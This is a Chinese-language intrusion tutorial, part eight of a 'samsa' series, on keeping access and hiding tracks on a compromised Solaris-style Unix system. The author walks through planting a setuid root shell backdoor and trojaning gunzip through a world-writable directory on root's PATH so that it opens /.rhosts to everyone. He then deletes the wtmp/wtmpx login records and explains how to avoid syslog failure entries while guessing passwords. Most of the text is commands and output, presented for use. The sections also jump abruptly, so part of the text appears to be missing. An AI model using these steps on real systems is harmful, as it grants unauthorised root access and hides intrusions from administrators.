samsa网络入侵教程八

/ns/cn/jc/data/20010129104119.htm

六、最后的疯狂(善后)
1) 后门
e.g.有一次,俺通过改写/.rhosts成了root,但.rhosts很容易被发现的哦,怎么
办?留个后门的说:

# rm -f /.rhosts
# cd /usr/bin
# ls mscl
mscl: 无此文件或目录
# cp /bin/ksh mscl
# chmod a+s mscl
# ls -l mscl
-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl

以后以任何用户登录,只要执行``/usr/bin/mscl''就成root了。
/usr/bin下面那一大堆程序,能发现这个mscl的几率简直小到可以忽略不计了。

2) 特洛伊木马
e.g. 有一次我发现:

$ echo $PATH
/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
$ ls -ld /opt/gnu
drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
$ cd /opt/gnu
$ ls -l
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ cp -R bin .TT_RT; cd .TT_RT

``.TT_RT''这种东东看起来象是系统的...
决定替换常用的程序gunzip

$ mv gunzip gunzip:
$ cat > toxan
#!/bin/sh
echo "+ +" >/.rhosts
^D
$ cat > gunzip
if [ -f /.rhosts ]
then
mv /opt/gnu/bin /opt/gnu/.TT_RT
mv /opt/gnu/.TT_DB /opt/gnu/bin
/opt/gnu/bin/gunzip $*
else
/opt/gnu/bin/gunzip: $*
fi
^D
$ chmod 755 toxan gunzip
$ cd ..
$ mv bin .TT_DB
$ mv .TT_RT bin
$ ls -l
total 16
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib

虽然有点暴露的可能(bin的属主竟然是zw!!!),但也顾不得了。
盼着root尽快执行gunzip吧...
过了两天:

$ cd /opt/gnu
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT
drwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib

(samsa:bingo!!!有人运行俺的特洛伊木马乐...)

$ ls -a /
(null) .exrc dev proc
. .fm devices reconfigure
.. .hotjava etc sbin
.Xauthority .netscape export tftpboot
.Xdefaults .profile home tmp
.Xlocale .rhosts kernel usr
.ab_library .wastebasket lib var
......
$ cat /.rhosts
+ +
$

(samsa:下面就不用俺罗嗦了吧?)
说明:/var/adm/lastlog 每次有用户成功登录进来时记一条,所以删掉以后再
登录一次就没有``Last Login''信息,但再登一次又会出现,因为系统会自动
重新创建该文件)

3.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpx
utmp、utmpx 这两个数据库文件存放当前登录在本机上的用户信息,用于who、
write、login等程序中;

$ who
wsj console 5月 19 16:49 (:0)
zw pts/5 5月 19 16:53 (zw)
yxun pts/3 5月 19 17:01 (192.168.0.115)

wtmp、wtmpx分别是它们的历史记录,用于``last''
命令,该命令读取wtmp(x)的内容并以可理解的方式进行显示:

$ last | grep zw
zw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)
zw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)
zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13)
zw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)
zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)
zw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)
zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)
......

utmp、wtmp已经过时,现在实际使用的是utmpx和wtmpx,但同样的信息依然以旧的
格式记录在utmp和wtmp中,所以要删就全删。

# rm -f wtmp wtmpx
# last
/var/adm/wtmpx: 无此文件或目录

3.3) syslog
syslogd 随时从系统各处接受log请求,然后根据/etc/syslog.conf中的预先设定把
log信息写入相应文件中、邮寄给特定用户或者直接以消息的方式发往控制台。
不妨先看看syslog.conf的内容:

---------------------- begin: syslog.conf -------------------------------
#ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */
#
# Copyright (c) 1991-1993, by Sun Microsystems, Inc.
#
# syslog configuration file.
#
*.err;kern.notice;auth.notice /dev/console
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages

*.alert;kern.err;daemon.err operator
*.alert root
......
---------------------- end : syslog.conf -------------------------------

``auth.notice''这样的东东由两部分组成,称为``facility.level'',前者表示log
信息涉及的方面,level表示信息的紧急程度。
facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...
level 有:emerg,alert,crit,err,warning,info,debug,etc...(紧急程度递减)
一般和安全关系密切的facility是mail,daemon,auth etc...
而这类信息按惯例通常存放在/var/adm/messages里。
那么 messages 里那些信息容易暴露“黑客”痕迹呢?
1,"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM sam
重复登录失败!如果你猜测口令的话,你肯定会经历很多次这样的失败!
不过一般的UNIX系统只有一次telnet session连续登录5次失败才会记这么一条,所以
当你4次尝试还没成功,最好赶紧退出,重新telnet...
2,"May 5 10:30:35 numen su: 'su root' failed for cxl on /dev/pts/15"
"May 18 17:02:16 numen su: 'su root' succeeded for zw on /dev/pts/1"